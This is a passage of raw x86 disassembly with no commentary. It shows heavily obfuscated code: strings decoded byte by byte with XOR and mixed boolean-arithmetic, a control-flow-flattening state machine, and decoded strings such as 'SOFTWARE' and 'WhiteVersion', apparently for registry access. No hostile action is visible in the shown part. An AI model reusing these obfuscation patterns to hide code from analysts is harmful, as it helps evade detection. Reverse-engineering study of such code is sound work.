or cl, dl
xor cl, 0xff
mov byte [0x101cb35e], cl
mov dl, byte [0x101cb350]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xb1
mov dh, 0xff
xor dh, 0xb1
and ch, dh
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xb1
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb35f], cl
mov dh, byte [0x101cb351]
mov cl, dh
xor cl, 0xff
and cl, 0x8d
mov ch, 0xff
xor ch, 0x8d
and dh, ch
mov dl, 0xff
xor dl, 0x8c
and dl, 0x8d
and ch, 0x8c
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb360], cl
mov dl, byte [0x101cb323]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x22
xor cl, 0xff
mov ch, 0x22
and ch, 0x22
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb32b], cl
mov dh, byte [0x101cb324]
mov cl, dh
xor cl, 0xff
and cl, 0x72
mov ch, 0xff
xor ch, 0x72
and dh, ch
mov dl, 0xff
xor dl, 0xe
and dl, 0x72
and ch, 0xe
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb32c], cl
mov cl, byte [0x101cb325]
xor cl, 0x52
mov byte [0x101cb32d], cl
mov dl, byte [0x101cb326]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x73
xor cl, 0xff
mov ch, 0x73
and ch, 0x73
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb32e], cl
mov cl, byte [0x101cb327]
xor cl, 0xb9
mov byte [0x101cb32f], cl
mov cl, byte [0x101cb328]
xor cl, 0xf7
mov byte [0x101cb330], cl
mov dl, byte [0x101cb329]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x54
mov dh, 0xff
xor dh, 0x54
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x54
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb331], cl
mov dl, byte [0x101cb32a]
mov cl, dl
xor cl, 0xff
and cl, 0x32
mov ch, 0xff
xor ch, 0x32
and dl, ch
or cl, dl
mov byte [0x101cb332], cl
mov dl, byte [0x101cb333]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xb9
xor cl, 0xff
mov ch, 0xb9
and ch, 0xb9
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb33b], cl
mov cl, byte [0x101cb334]
xor cl, 5
mov byte [0x101cb33c], cl
mov cl, byte [0x101cb335]
xor cl, 0x12
mov byte [0x101cb33d], cl
mov cl, byte [0x101cb336]
xor cl, 0xea
mov byte [0x101cb33e], cl
mov cl, byte [0x101cb337]
xor cl, 0xfa
mov byte [0x101cb33f], cl
mov cl, byte [0x101cb338]
mov dl, cl
and dl, 0xa7
shl dl, 1
add cl, 0xa7
sub cl, dl
mov byte [0x101cb340], cl
mov dh, byte [str.mY_hiK]
mov cl, dh
xor cl, 0xff
and cl, 0xb5
mov ch, 0xff
xor ch, 0xb5
and dh, ch
mov dl, 0xff
xor dl, 0x5f
and dl, 0xb5
and ch, 0x5f
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb341], cl
mov cl, byte [0x101cb33a]
xor cl, 0x59
mov byte [0x101cb342], cl
mov cl, byte [0x101cb30b]
mov dl, cl
and dl, 0x6d
shl dl, 1
add cl, 0x6d
sub cl, dl
mov byte [0x101cb317], cl
mov cl, byte [0x101cb30c]
xor cl, 0x94
mov byte [0x101cb318], cl
mov cl, byte [0x101cb30d]
mov dl, cl
and dl, 0xa5
shl dl, 1
add cl, 0xa5
sub cl, dl
mov byte [0x101cb319], cl
mov cl, byte [0x101cb30e]
xor cl, 0x8e
mov byte [0x101cb31a], cl
mov cl, byte [0x101cb30f]
xor cl, 0x8e
mov byte [0x101cb31b], cl
mov cl, byte [0x101cb310]
xor cl, 0x48
mov byte [0x101cb31c], cl
mov cl, byte [0x101cb311]
mov dl, cl
xor dl, 0xcc
xor dl, 0xff
and dl, 0xcc
shl dl, 1
sub dl, 0xcc
sub cl, dl
mov byte [0x101cb31d], cl
mov cl, byte [0x101cb312]
xor cl, 0xa9
mov byte [0x101cb31e], cl
mov dh, byte [0x101cb313]
mov cl, dh
xor cl, 0xff
and cl, 0xea
mov ch, 0xff
xor ch, 0xea
and dh, ch
mov dl, 0xff
xor dl, 0xc3
and dl, 0xea
and ch, 0xc3
or cl, dh
or dl, ch
xor cl, dl
mov byte [str.Fqz0_ro_a], cl
mov cl, byte [0x101cb314]
xor cl, 0xdc
mov byte [0x101cb320], cl
mov cl, byte [0x101cb315]
mov dl, cl
and dl, 0x86
shl dl, 1
add cl, 0x86
sub cl, dl
mov byte [0x101cb321], cl
mov cl, byte [0x101cb316]
mov dl, cl
and dl, 0xba
shl dl, 1
add cl, 0xba
sub cl, dl
mov byte [0x101cb322], cl
mov cl, byte [0x101cb361]
xor cl, 0xa8
mov byte [0x101cb369], cl
mov dh, byte [0x101cb362]
mov cl, dh
xor cl, 0xff
and cl, 0xa6
mov ch, 0xff
xor ch, 0xa6
and dh, ch
mov dl, 0xff
xor dl, 0x9c
and dl, 0xa6
and ch, 0x9c
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb36a], cl
mov cl, byte [0x101cb363]
xor cl, 0x53
mov byte [0x101cb36b], cl
mov cl, byte [0x101cb364]
xor cl, 0x33
mov byte [0x101cb36c], cl
mov cl, byte [0x101cb365]
xor cl, 0xe6
mov byte [0x101cb36d], cl
mov cl, byte [0x101cb366]
xor cl, 0x63
mov byte [0x101cb36e], cl
mov cl, byte [0x101cb367]
xor cl, 0xba
mov byte [0x101cb36f], cl
mov cl, byte [0x101cb368]
xor cl, 0xe8
mov byte [0x101cb370], cl
mov ecx, 0xbcb92195
mov edx, 0x5d18fb49
cmp esi, 0x588e9a8a
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x100460cc
mov eax, dword [0x101cc614]
xor edx, edx
div dword [0x101cc618]
imul eax, eax, 0xa4e19b49
imul eax, eax, 0xc67d7bd0
mov esi, 0xffffffff
xor esi, 0xc9caa984
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xc9caa984
or eax, 0xc9caa984
imul eax, edx
add eax, ecx
mov ecx, 0x28bc2e13
xor edx, edx
div ecx
mov ecx, 0x682158e5
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
and eax, 0xb9d60030
xor eax, 0xffffffff
mov edx, 0xb9d60030
and edx, 0xb9d60030
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and eax, 0x1fc0daa8
xor eax, 0xc52c124b
sub eax, 0xc2f3ca
mov ecx, 0x10f4c941
xor edx, edx
div ecx
sub eax, 0xa3a74794
xor eax, 0x16c78d07
imul eax, eax, 0x3152873
mov ecx, 0x98f9c5b6
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x16fd3d20
xor ecx, 0xffffffff
or eax, 0x16fd3d20
and eax, ecx
imul esi, eax, 0x1cbd9e8a
mov eax, esi
xor eax, 0xffffffff
and eax, 0x33455692
mov edx, 0xffffffff
xor edx, 0x33455692
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xd717dbea
and ecx, 0x33455692
and edx, 0xd717dbea
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, 0xd8102d09
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x977b743a
mov eax, 0xffffffff
xor eax, 0x675758e7
add ecx, eax
add ecx, 1
add ecx, 0x8bfa3157
mov eax, ecx
xor eax, 0xcb3ea7e9
xor eax, 0xffffffff
or ecx, 0xcb3ea7e9
and ecx, eax
mov eax, 0xffffffff
xor eax, 0xa7c2bfcd
add ecx, eax
add ecx, 1
mov eax, ecx
and eax, 0xc7bdcbc0
xor ecx, 0xc7bdcbc0
or eax, ecx
or eax, 0x96fd6ff3
mov ecx, 0xf6a8f815
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0x18d63e6a
xor ecx, 0xd11a8961
mov eax, ecx
xor eax, 0xd6e4a0a7
xor eax, 0xffffffff
and eax, 0xd6e4a0a7
shl eax, 1
sub eax, 0xd6e4a0a7
sub ecx, eax
sub ecx, 0xe33d81a9
mov eax, ecx
and eax, 0xb1ee8212
xor ecx, 0xb1ee8212
or eax, ecx
mov ecx, eax
and ecx, 0xf616ac74
shl ecx, 1
add eax, 0xf616ac74
sub eax, ecx
mov ecx, 0xd457068d
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, 0xb69098dc
and ecx, 0x317f422a
mov edx, ecx
and edx, 0xf6fc69f0
shl edx, 1
add ecx, 0xf6fc69f0
sub ecx, edx
add ecx, 0x3da0cd81
imul esi, ecx, 0x96d6a2e8
add esi, 0x3f7f028b
add esi, 0x224251f5
mov ecx, 0x247a0f2d
mov edx, 0xd26a3df2
cmp esi, 0x12a2ae5f
cmova ecx, edx
mov dword [eax], ecx
jmp 0x100460cc
mov eax, dword [str.dgg2]
mov ecx, dword [0x101cc620]
mov esi, eax
xor esi, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and esi, edx
or eax, ecx
xor eax, 0xffffffff
or esi, eax
xor esi, 0xffffffff
xor esi, 0xe2de8ba
and esi, 0xb4da15f
mov eax, esi
xor eax, 0x6a338547
xor eax, 0xffffffff
and eax, 0x6a338547
shl eax, 1
sub eax, 0x6a338547
sub esi, eax
sub esi, 0xecaed6f9
xor esi, 0xd66c1709
and esi, 0x7e15b2a5
add esi, 0x18411048
add esi, 0x806928fe
sub esi, 0x745a205e
sub esi, 0x806928fe
mov eax, esi
xor eax, 0xffffffff
and eax, 0xea6cb76f
mov edx, 0xffffffff
xor edx, 0xea6cb76f
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x9ae433d2
and ecx, 0xea6cb76f
and edx, 0x9ae433d2
or eax, esi
or ecx, edx
xor eax, ecx
xor eax, 0x41132388
mov ecx, 0x7d5670
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0xb387c313
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xb387c313
or eax, 0xb387c313
imul eax, edx
add eax, ecx
mov ecx, 0x9fe88b86
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0xb77d8f10
add eax, ecx
mov ecx, 0xdd212eae
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xe1db86aa
mov edx, 0xffffffff
xor edx, 0xe1db86aa
and eax, edx
sub eax, ecx
mov ecx, eax
and ecx, 0x47a09ce
xor ecx, 0xffffffff
add eax, 0x47a09ce
add eax, 1
add eax, ecx
or eax, 0xce0a0aad
sub eax, 0x434b3a10
and eax, 0x404c9782
mov ecx, 0xffffffff
xor ecx, 0xd70c41dd
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xe58ae5dc
mov esi, 0xffffffff
xor esi, 0xe58ae5dc
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xe58ae5dc
or eax, 0xe58ae5dc
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0xfad0acb8
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xfad0acb8
or eax, 0xfad0acb8
imul eax, edx
add eax, ecx
mov ecx, 0xda0cc855
xor edx, edx
div ecx
sub eax, 0x1f9c8521
mov esi, 0xffffffff
xor esi, 0x50f3314f
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x50f3314f
or eax, 0x50f3314f
imul eax, edx
add eax, ecx
sub eax, 0x25a8f1a
add eax, 0xf23aeed3
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x8d11a33d
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, 0x84dd905
xor edx, edx
div ecx
mov ecx, 0xda2fec0f
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x73f9886b
or eax, edx
and ecx, 0x73f9886b
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x97f13042
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov ecx, edx
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xd9ea70f3
or ecx, esi
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xd9ea70f3
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
imul ecx, ecx, 0x322be244
mov edx, ecx
xor edx, 0xf58e1d1b
mov esi, 0xffffffff
xor esi, 0xf58e1d1b
and ecx, esi
shl ecx, 1
sub ecx, edx
or ecx, 0x2a43d1f7
xor edx, edx
sub edx, 0x7badb0ba
sub ecx, edx
sub ecx, 0x6b6da953
sub ecx, 0x813224f9
add ecx, 0x6b6da953
mov esi, ecx
xor esi, 0xffffffff
xor ecx, 0xffffffff
or esi, ecx
mov ecx, 0x2f25819
and ecx, 0x2f25819
xor ecx, 0xffffffff
xor esi, 0xffffffff
xor ecx, 0xffffffff
or esi, ecx
mov ecx, 0xdda22103
mov edx, 0xcd0892ba
cmp esi, 0x1d524765
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x100460cc
mov eax, dword [0x101cc624]
imul eax, dword [0x101cc628]
mov ecx, eax
xor ecx, 0xfa57edcb
mov edx, 0xffffffff
xor edx, 0xfa57edcb
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0xf43df67c
xor edx, edx
div ecx
xor eax, 0x88b01335
sub eax, 0x57598c74
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x7e4dd111
mov edx, 0xffffffff
xor edx, 0x7e4dd111
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
or eax, 0xd2f25422
imul ecx, eax, 0x754f990
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x779adb7e
mov edx, 0xffffffff
xor edx, 0x779adb7e
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x2f07d9d7
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xfea0b411
xor ecx, 0xffffffff
or eax, 0xfea0b411
and eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x7a917830
mov edx, 0xffffffff
xor edx, 0x7a917830
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x85b651cd
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x76c739f0
xor eax, 0x76c739f0
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x860e4283
or eax, edx
and ecx, 0x860e4283
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x6bab7f0b
xor edx, edx
div ecx
and eax, 0xfe584603
add eax, 0xa8692bbf
imul eax, eax, 0xbf5861f5
mov ecx, 0xdf2b5988
xor edx, edx
div ecx
mov ecx, eax
mov edx, 0xffffffff
xor edx, 0xbd62195
mov eax, ecx
xor eax, edx
and eax, ecx
imul eax, eax, 0x8e676521
mov esi, 0xffffffff
xor esi, 0xf0eccdfb
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf0eccdfb
or eax, 0xf0eccdfb
imul eax, edx
add eax, ecx
mov ecx, 0xfa3d79bf
xor edx, edx
div ecx
xor eax, 0x679b74ee
imul eax, eax, 0xbfe3e487
add eax, 0xc6da37ce
mov ecx, 0x718acfbf
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
imul ecx, ecx, 0x1bf1314e
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x1a13060e
mov esi, 0xffffffff
xor esi, 0x1a13060e
and ecx, esi
sub ecx, edx
mov esi, ecx
xor esi, 0xffffffff
and esi, 0x1a4a56b
mov edi, 0xffffffff
xor edi, 0x1a4a56b
mov edx, ecx
and edx, edi
imul edx, esi
mov esi, ecx
and esi, 0x1a4a56b
or ecx, 0x1a4a56b
imul ecx, esi
add ecx, edx
mov edx, ecx
and edx, 0x2a9525bf
shl edx, 1
add ecx, 0x2a9525bf
sub ecx, edx
mov edx, ecx
xor edx, 0x54a123d6
mov esi, 0xffffffff
xor esi, 0x54a123d6
and ecx, esi
shl ecx, 1
sub ecx, edx
add ecx, 0x974c0139
and ecx, 0x2bb61ad6
mov esi, ecx
and esi, esi
xor esi, 0xffffffff
and esi, 0x923d74ae
xor esi, 0xffffffff
mov edx, 0x923d74ae
and edx, 0x923d74ae
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
and esi, ecx
xor esi, 0xffffffff
add esi, 0x9c0daa7c
sub esi, 0xc82f93d
sub esi, 0x9c0daa7c
xor esi, 0xb8593d01
and esi, 0x7ecfdf15
sub esi, 0xec119d6d
sub esi, 0x1c2bace
mov ecx, 0xcd0892ba
mov edx, 0x775dbfe7
cmp esi, 0xa39b8b34
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x100460cc
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x47693661
jmp 0x100460cc
mov eax, dword [0x101cc62c]
mov edx, dword [0x101cc630]
mov ecx, eax
and ecx, edx
or eax, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7f7e9074
or eax, edx
and ecx, 0x7f7e9074
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x5a5e659e
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xc64e5b9e
mov edx, 0xffffffff
xor edx, 0xc64e5b9e
and ecx, edx
shl ecx, 1
sub ecx, eax
xor ecx, 0xc9f09f55
or ecx, 0x54564cdf
xor ecx, 0xe031e44e
xor ecx, 0x39e528fb
xor ecx, 0x98ac58ff
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x748590a7
mov edx, 0xffffffff
xor edx, 0x748590a7
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
xor eax, 0xda48c053
or eax, 0xfd5cfa6c
mov ecx, eax
xor ecx, 0x3f254287
xor ecx, 0xffffffff
and ecx, 0x3f254287
shl ecx, 1
sub ecx, 0x3f254287
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xddf44752
mov esi, 0xffffffff
xor esi, 0xddf44752
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xddf44752
or eax, 0xddf44752
imul eax, edx
add eax, ecx
or eax, 0x48d51580
or eax, 0xf6e8921c
imul eax, eax, 0x3c23e1ab
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x21086365
mov edx, 0xffffffff
xor edx, 0x21086365
and eax, edx
sub eax, ecx
imul ecx, eax, 0xd4e7c441
xor eax, eax
sub eax, 0xf12d7533
sub ecx, eax
xor ecx, 0x8c5fae1e
and ecx, 0xbc321761
sub ecx, 0xd3b38d62
sub ecx, 0x3c630f71
add ecx, 0xd3b38d62
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x4e63644f
mov edx, 0xffffffff
xor edx, 0x4e63644f
and ecx, edx
or eax, ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xb6c19fd7
and ecx, 0xb6c19fd7
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
add eax, 0xdaa3d617
and eax, 0x5e3449ec
mov edx, eax
xor edx, 0xffffffff
and edx, 0x28e29ad8
mov esi, 0xffffffff
xor esi, 0x28e29ad8
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x28e29ad8
or eax, 0x28e29ad8
imul eax, edx
add eax, ecx
mov ecx, 0x3c88c9e2
xor edx, edx
div ecx
or eax, 0x24fe275d
add eax, 0xc7ec15a0
sub eax, 0x4c24d167
sub eax, 0xc7ec15a0
mov ecx, 0xbedd577f
xor edx, edx
div ecx
or eax, 0x44f47c8a
xor ecx, ecx
sub ecx, 0x4634130
sub eax, ecx
mov ecx, 0xf99b5ff2
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
or ecx, 0xda52e0f8
xor ecx, 0x1cca9b25
mov edx, 0xffffffff
xor edx, 0x172effcb
mov esi, ecx
xor esi, edx
and esi, ecx
and esi, 0xa0ca9622
or esi, 0x84b6ee84
and esi, 0xcfae6824
mov ecx, 0x67263fc2
mov edx, 0x83cd484f
cmp esi, 0xf2379063
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x100460cc
mov esi, 0xf7668e0
mov dword [0x101d2538], 1
push eax
sub esp, 8
mov ecx, esp
mov dword [ebp - 0xc8], ecx
sub esp, 8
mov eax, esp
mov dword [ebp - 0xc4], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xc0], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xbc], eax
sub esp, 8
mov edx, esp
mov dword [ebp - 0xb8], edx
sub esp, 8
mov eax, esp
mov dword [ebp - 0x50], eax
sub esp, 0x28
mov eax, esp
mov dword [ebp - 0xa8], eax
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0xa4], eax
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0xa0], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x9c], eax
sub esp, 0x24
mov eax, esp
mov dword [ebp - 0x98], eax
sub esp, 0x24
mov eax, esp
mov dword [ebp - 0x94], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x90], eax
sub esp, 0x28
mov eax, esp
mov dword [ebp - 0x8c], eax
sub esp, 0x14
mov eax, esp
mov dword [ebp - 0x88], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x84], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x80], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x78], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x74], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x7c], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x70], eax
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x6c], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x68], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x64], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x60], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x58], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x5c], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x54], eax
sub esp, 0xc
mov ebx, esp
mov dword [ebp - 0xb4], ebx
sub esp, 0xc
mov edi, esp
mov dword [ebp - 0xb0], edi
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
mov eax, dword [0x101cb317]
mov dword [ecx], eax
mov eax, dword [0x101cb31b]
mov dword [ecx + 4], eax
mov eax, dword [str.Fqz0_ro_a]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0xc4]
mov ecx, dword [section..rdata]
mov dword [eax], ecx
mov ecx, dword [0x101c3004]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0xc0]
mov eax, dword [0x101cb352]
mov dword [ecx], eax
mov eax, dword [0x101cb356]
mov dword [ecx + 4], eax
mov eax, dword [0x101cb35a]
mov dword [ecx + 8], eax
mov ax, word [0x101cb35e]
mov word [ecx + 0xc], ax
mov al, byte [0x101cb360]
mov byte [ecx + 0xe], al
mov eax, dword [ebp - 0xbc]
mov ecx, dword [0x101cb369]
mov dword [eax], ecx
mov ecx, dword [0x101cb36d]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0xa8]
mov eax, dword [0x101cb33b]
mov dword [edx], eax
mov eax, dword [0x101cb33f]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x50]
mov edx, dword [0x101cb32b]
mov dword [eax], edx
mov edx, dword [0x101cb32f]
mov dword [eax + 4], edx
lea eax, str.SOFTWARE
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x28
call fcn.101af440
mov ecx, dword [ebp - 0xa4]
add esp, 0xc
lea eax, [0x101cb250]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x19
call fcn.101af440
mov ecx, dword [ebp - 0xa0]
add esp, 0xc
lea eax, [0x101cb0b0]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1a
call fcn.101af440
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x98]
add esp, 0xc
mov edx, dword [0x101cb0f6]
mov dword [eax], edx
mov edx, dword [0x101cb0fa]
mov dword [eax + 4], edx
mov edx, dword [0x101cb0fe]
mov dword [eax + 8], edx
mov edx, dword [0x101cb102]
mov dword [eax + 0xc], edx
lea eax, [0x101cb150]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x21
call fcn.101af440
mov ecx, dword [ebp - 0x94]
add esp, 0xc
lea eax, [0x101cb2e0]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x21
call fcn.101af440
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
add esp, 0xc
mov edx, dword [0x101cb10f]
mov dword [eax], edx
mov edx, dword [0x101cb113]
mov dword [eax + 4], edx
mov dl, byte [0x101cb117]
mov byte [eax + 8], dl
lea eax, str.WhiteVersion
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x28
call fcn.101af440
mov ecx, dword [ebp - 0x88]
add esp, 0xc
lea eax, str._White
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x14
call fcn.101af440
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x7c]
add esp, 0xc
mov eax, dword [0x101cb282]
mov dword [ecx], eax
mov al, byte [0x101cb286]
mov byte [ecx + 4], al
mov eax, dword [ebp - 0x80]
mov ecx, dword [0x101cb306]
mov dword [eax], ecx
mov cl, byte [0x101cb30a]
mov byte [eax + 4], cl
mov ecx, dword [ebp - 0x78]
mov eax, dword [0x101cb046]
mov dword [ecx], eax
mov eax, dword [0x101cb04a]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x74]
mov ecx, dword [0x101cb21d]
mov dword [eax], ecx
mov ecx, dword [0x101cb221]
mov dword [eax + 4], ecx
mov cl, byte [0x101cb225]
mov byte [eax + 8], cl
mov ecx, dword [ebp - 0x6c]
mov eax, dword [str.n7E_]
mov dword [edx], eax
mov eax, dword [0x101cb277]
mov dword [edx + 4], eax
mov ax, word [0x101cb27b]
mov word [edx + 8], ax
mov eax, dword [ebp - 0x70]
mov edx, dword [0x101cb05b]
mov dword [eax], edx
mov edx, dword [0x101cb05f]
mov dword [eax + 4], edx
mov edx, dword [0x101cb063]
mov dword [eax + 8], edx
mov dl, byte [0x101cb067]
mov byte [eax + 0xc], dl
lea eax, [0x101cb1a0]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x18
call fcn.101af440
mov edx, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x68]
add esp, 0xc
mov eax, dword [0x101cb031]
mov dword [ecx], eax
mov eax, dword [0x101cb035]
mov dword [ecx + 4], eax
mov eax, dword [0x101cb039]
mov dword [ecx + 8], eax
mov al, byte [0x101cb03d]
mov byte [ecx + 0xc], al
mov eax, dword [ebp - 0x64]
mov ecx, dword [0x101cb1c5]
mov dword [eax], ecx
mov ecx, dword [0x101cb1c9]
mov dword [eax + 4], ecx
mov ecx, dword [0x101cb1cd]
mov dword [eax + 8], ecx
mov cl, byte [0x101cb1d1]
mov byte [eax + 0xc], cl
mov ecx, dword [ebp - 0x60]
mov eax, dword [0x101cb073]
mov dword [ecx], eax
mov eax, dword [0x101cb077]
mov dword [ecx + 4], eax
mov ax, word [0x101cb07b]
mov word [ecx + 8], ax
mov al, byte [0x101cb07d]
mov byte [ecx + 0xa], al
mov eax, dword [ebp - 0x58]
mov ecx, dword [0x101cb0d8]
mov dword [eax], ecx
mov ecx, dword [0x101cb0dc]
mov dword [eax + 4], ecx
mov ecx, dword [0x101cb0e0]
mov dword [eax + 8], ecx
mov cx, word [0x101cb0e4]
mov word [eax + 0xc], cx
mov ecx, dword [ebp - 0x5c]
mov eax, dword [0x101cb296]
mov dword [ecx], eax
mov eax, dword [0x101cb29a]
mov dword [ecx + 4], eax
mov eax, dword [0x101cb29e]
mov dword [ecx + 8], eax
mov ax, word [0x101cb2a2]
mov word [ecx + 0xc], ax
mov al, byte [0x101cb2a4]
mov byte [ecx + 0xe], al
mov eax, dword [ebp - 0x54]
